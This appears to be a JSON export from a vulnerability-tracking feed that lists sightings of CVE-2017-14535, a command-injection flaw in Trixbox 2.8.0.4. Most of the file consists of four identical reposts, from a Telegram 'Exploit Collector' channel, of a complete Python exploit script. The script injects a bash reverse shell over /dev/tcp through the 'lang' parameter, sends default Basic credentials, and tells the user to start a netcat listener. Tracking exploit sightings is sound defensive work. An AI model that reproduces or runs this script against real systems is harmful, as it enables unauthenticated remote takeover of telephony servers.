{"vulnerability": "CVE-2017-14535", "sightings": [{"uuid": "56f8977f-c31d-4004-aba6-6b3ae8cd3e5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-14535", "type": "published-proof-of-concept", "source": "Telegram/eMoVbCeI-n-jaFKeB-W9ZjnKBEe6KGFrv-r960DcFriPRg", "content": "", "creation_timestamp": "2021-07-10T16:29:07.000000Z"}, {"uuid": "4a73b1f8-2adb-4bc0-8825-0dec5c9e6193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-14535", "type": "published-proof-of-concept", "source": "Telegram/3ouVcpxfy2r0oud8B6y1ACiZsbMO-wMiEFY3yMln1yqdDw", "content": "", "creation_timestamp": "2021-06-18T20:00:35.000000Z"}, {"uuid": "2b576f7b-392c-4a46-b935-b2b928002eee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-14535", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/521", "content": "CVE-2017-14535 Trixbox 2.8.0.4 \u9060\u7a0b\u4ee3\u78bc\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2017-14535_Trixbox_2.8.0.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-05-28T09:48:54.000000Z"}, {"uuid": "bfff2cc9-d830-438b-a3bb-b9f3363a2d41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-14535", "type": "seen", "source": "https://t.me/hacking_Attack/10508", "content": "Exploit Collector\nTrixbox 2.8.0.4 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png \nTrixbox version 2.8.0.4 has an OS command injection vulnerability that can be leveraged via shell metacharacters in the lang parameter to /maint/modules/home/index.php.\n\nMD5 | b20a34f5709b4607d3383fa6db1f537f\n\nDownload\n# Exploit Title: Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated)\n# Date: 27.05.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/\n# Credits to: Sachin Wagh\n# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/\n# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download\n# Version: 2.8.0.4\n# Tested on: Xubuntu 20.04\n# CVE: CVE-2017-14535\n\n'''\nDescription:\ntrixbox 2.8.0.4 has OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php\n'''\n'''\nImport required modules:\n'''\nimport requests\nimport sys\nimport time\n'''\nUser-input:\n'''\ntarget_ip = sys.argv[1]\ntarget_port = sys.argv[2]\nlisten_ip = sys.argv[3]\nlisten_port = sys.argv[4]\n'''\nConstruct malicious request:\n'''\n# Construct header:\nheader = {\n'Host': target_ip,\n'User-Agent': 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',\n'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',\n'Accept-Encoding': 'gzip, deflate',\n'Authorization': 'Basic bWFpbnQ6cGFzc3dvcmQ=',\n'Connection': 'close',\n'Upgrade-Insecure-Requests': '1',\n'Cache-Control': 'max-age=0'\n}\n\n# Construct malicious link:\nlink_p1 = 'http://' + target_ip + ':' + target_port + '/maint/modules/home/index.php?lang=english|bash%20-i%20%3E%26%20'\nlink_p2 = '%2Fdev%2Ftcp%2F' + listen_ip + '%2F' + listen_port + '%200%3E%261||x'\nlink = link_p1 + link_p2\n'''\nFinish: EXPLOIT!!!\n'''\nprint('')\nprint('')\nprint('Please start the following command in a seperate terminal: nc -lnvp ' + listen_port)\nprint('')\ntime.sleep(2)\nReady = input(\"If you're done and want to start the exploit please input EXPLOIT: \")\nif Ready == 'EXPLOIT':\nprint('')\nprint('Exploit sent, check your Netcat instance :)')\nx = requests.post(link, headers=header)\nelse:\nprint('TRY AGAIN')\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:40.470090Z"}, {"uuid": "bb7ff7b0-2d35-420b-b455-ef2d5c4444dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-14535", "type": "seen", "source": "https://t.me/hacking_Attack/10508", "content": "Exploit Collector\nTrixbox 2.8.0.4 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png \nTrixbox version 2.8.0.4 has an OS command injection vulnerability that can be leveraged via shell metacharacters in the lang parameter to /maint/modules/home/index.php.\n\nMD5 | b20a34f5709b4607d3383fa6db1f537f\n\nDownload\n# Exploit Title: Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated)\n# Date: 27.05.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/\n# Credits to: Sachin Wagh\n# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/\n# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download\n# Version: 2.8.0.4\n# Tested on: Xubuntu 20.04\n# CVE: CVE-2017-14535\n\n'''\nDescription:\ntrixbox 2.8.0.4 has OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php\n'''\n'''\nImport required modules:\n'''\nimport requests\nimport sys\nimport time\n'''\nUser-input:\n'''\ntarget_ip = sys.argv[1]\ntarget_port = sys.argv[2]\nlisten_ip = sys.argv[3]\nlisten_port = sys.argv[4]\n'''\nConstruct malicious request:\n'''\n# Construct header:\nheader = {\n'Host': target_ip,\n'User-Agent': 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',\n'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',\n'Accept-Encoding': 'gzip, deflate',\n'Authorization': 'Basic bWFpbnQ6cGFzc3dvcmQ=',\n'Connection': 'close',\n'Upgrade-Insecure-Requests': '1',\n'Cache-Control': 'max-age=0'\n}\n\n# Construct malicious link:\nlink_p1 = 'http://' + target_ip + ':' + target_port + '/maint/modules/home/index.php?lang=english|bash%20-i%20%3E%26%20'\nlink_p2 = '%2Fdev%2Ftcp%2F' + listen_ip + '%2F' + listen_port + '%200%3E%261||x'\nlink = link_p1 + link_p2\n'''\nFinish: EXPLOIT!!!\n'''\nprint('')\nprint('')\nprint('Please start the following command in a seperate terminal: nc -lnvp ' + listen_port)\nprint('')\ntime.sleep(2)\nReady = input(\"If you're done and want to start the exploit please input EXPLOIT: \")\nif Ready == 'EXPLOIT':\nprint('')\nprint('Exploit sent, check your Netcat instance :)')\nx = requests.post(link, headers=header)\nelse:\nprint('TRY AGAIN')\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:17.132415Z"}, {"uuid": "d0d7864a-76e6-4eb4-a294-3342bbfded93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-14535", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/10508", "content": "Exploit Collector\nTrixbox 2.8.0.4 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png \nTrixbox version 2.8.0.4 has an OS command injection vulnerability that can be leveraged via shell metacharacters in the lang parameter to /maint/modules/home/index.php.\n\nMD5 | b20a34f5709b4607d3383fa6db1f537f\n\nDownload\n# Exploit Title: Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated)\n# Date: 27.05.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/\n# Credits to: Sachin Wagh\n# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/\n# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download\n# Version: 2.8.0.4\n# Tested on: Xubuntu 20.04\n# CVE: CVE-2017-14535\n\n'''\nDescription:\ntrixbox 2.8.0.4 has OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php\n'''\n'''\nImport required modules:\n'''\nimport requests\nimport sys\nimport time\n'''\nUser-input:\n'''\ntarget_ip = sys.argv[1]\ntarget_port = sys.argv[2]\nlisten_ip = sys.argv[3]\nlisten_port = sys.argv[4]\n'''\nConstruct malicious request:\n'''\n# Construct header:\nheader = {\n'Host': target_ip,\n'User-Agent': 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',\n'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',\n'Accept-Encoding': 'gzip, deflate',\n'Authorization': 'Basic bWFpbnQ6cGFzc3dvcmQ=',\n'Connection': 'close',\n'Upgrade-Insecure-Requests': '1',\n'Cache-Control': 'max-age=0'\n}\n\n# Construct malicious link:\nlink_p1 = 'http://' + target_ip + ':' + target_port + '/maint/modules/home/index.php?lang=english|bash%20-i%20%3E%26%20'\nlink_p2 = '%2Fdev%2Ftcp%2F' + listen_ip + '%2F' + listen_port + '%200%3E%261||x'\nlink = link_p1 + link_p2\n'''\nFinish: EXPLOIT!!!\n'''\nprint('')\nprint('')\nprint('Please start the following command in a seperate terminal: nc -lnvp ' + listen_port)\nprint('')\ntime.sleep(2)\nReady = input(\"If you're done and want to start the exploit please input EXPLOIT: \")\nif Ready == 'EXPLOIT':\nprint('')\nprint('Exploit sent, check your Netcat instance :)')\nx = requests.post(link, headers=header)\nelse:\nprint('TRY AGAIN')\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T05:00:03.629835Z"}, {"uuid": "637b3d41-0941-4138-b5c4-33495745de10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-14535", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/10508", "content": "Exploit Collector\nTrixbox 2.8.0.4 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png \nTrixbox version 2.8.0.4 has an OS command injection vulnerability that can be leveraged via shell metacharacters in the lang parameter to /maint/modules/home/index.php.\n\nMD5 | b20a34f5709b4607d3383fa6db1f537f\n\nDownload\n# Exploit Title: Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated)\n# Date: 27.05.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/\n# Credits to: Sachin Wagh\n# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/\n# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download\n# Version: 2.8.0.4\n# Tested on: Xubuntu 20.04\n# CVE: CVE-2017-14535\n\n'''\nDescription:\ntrixbox 2.8.0.4 has OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php\n'''\n'''\nImport required modules:\n'''\nimport requests\nimport sys\nimport time\n'''\nUser-input:\n'''\ntarget_ip = sys.argv[1]\ntarget_port = sys.argv[2]\nlisten_ip = sys.argv[3]\nlisten_port = sys.argv[4]\n'''\nConstruct malicious request:\n'''\n# Construct header:\nheader = {\n'Host': target_ip,\n'User-Agent': 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',\n'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',\n'Accept-Encoding': 'gzip, deflate',\n'Authorization': 'Basic bWFpbnQ6cGFzc3dvcmQ=',\n'Connection': 'close',\n'Upgrade-Insecure-Requests': '1',\n'Cache-Control': 'max-age=0'\n}\n\n# Construct malicious link:\nlink_p1 = 'http://' + target_ip + ':' + target_port + '/maint/modules/home/index.php?lang=english|bash%20-i%20%3E%26%20'\nlink_p2 = '%2Fdev%2Ftcp%2F' + listen_ip + '%2F' + listen_port + '%200%3E%261||x'\nlink = link_p1 + link_p2\n'''\nFinish: EXPLOIT!!!\n'''\nprint('')\nprint('')\nprint('Please start the following command in a seperate terminal: nc -lnvp ' + listen_port)\nprint('')\ntime.sleep(2)\nReady = input(\"If you're done and want to start the exploit please input EXPLOIT: \")\nif Ready == 'EXPLOIT':\nprint('')\nprint('Exploit sent, check your Netcat instance :)')\nx = requests.post(link, headers=header)\nelse:\nprint('TRY AGAIN')\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-09T00:00:40.917294Z"}]}